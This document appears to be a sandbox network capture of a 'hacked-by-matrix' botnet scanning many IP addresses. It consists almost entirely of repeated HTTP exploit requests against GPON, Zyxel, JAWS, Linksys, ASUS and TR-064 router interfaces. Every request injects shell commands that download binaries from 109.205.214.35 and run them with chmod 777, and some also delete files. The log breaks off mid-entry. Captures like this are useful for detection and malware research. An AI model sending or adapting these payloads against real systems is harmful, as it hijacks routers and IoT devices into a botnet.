Mar 21, 2024 05:18:30.270566940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.23	44698	42.39.184.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270586014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.23	58170	109.242.129.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270625114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.23	42766	82.84.234.111	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.548808098 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:30.799779892 CET	256	IN	HTTP/1.1 401 Unauthorized Content-Type: application/json Content-Length: 48 Date: Thu, 21 Mar 2024 04:18:29 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' Data Raw: 7b 0a 20 20 20 22 72 65 73 75 6c 74 22 3a 20 22 49 6e 76 61 6c 69 64 20 55 73 65 72 6e 61 6d 65 20 6f 72 20 50 61 73 73 77 6f 72 64 22 0a 20 7d Data Ascii: { "result": "Invalid Username or Password" }

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.23	50682	206.53.176.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.677263975 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:31.380490065 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:31.508419037 CET	187	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 0 Connection: close Date: Thu, 21 Mar 2024 04:18:31 GMT Server: airCube

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.23	45494	35.244.128.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.245107889 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:31.373065948 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Thu, 21 Mar 2024 04:18:31 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.23	55856	172.64.92.91	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.405102968 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.23	44770	172.67.210.7	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.405181885 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.23	59824	172.67.47.196	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.405268908 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.23	45084	172.67.32.252	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.405347109 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.892452002 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.23	46970	172.67.198.215	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.405376911 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.892450094 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.23	40426	172.67.3.40	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.405428886 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.892447948 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.23	60792	201.92.251.245	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.539419889 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:32.661031008 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.23	60004	98.98.207.61	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.665747881 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:32.500381947 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.23	46116	172.65.14.90	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.876162052 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.23	59250	172.65.134.65	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.425036907 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.23	49494	172.67.48.140	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.617779016 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:33.140249014 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.23	56790	172.67.208.193	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.618541956 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.23	60880	201.92.251.245	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.816163063 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.23	43088	94.117.202.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.277882099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.23	50770	94.9.224.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.277913094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.23	58286	37.188.89.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.277945995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.23	36528	37.149.191.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.277983904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.23	34224	94.243.131.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278008938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.23	37550	5.178.241.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278033018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.23	35858	210.39.119.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278064013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.23	58338	210.188.150.222	443

Timestamp	Bytes transferred	Direction	Data
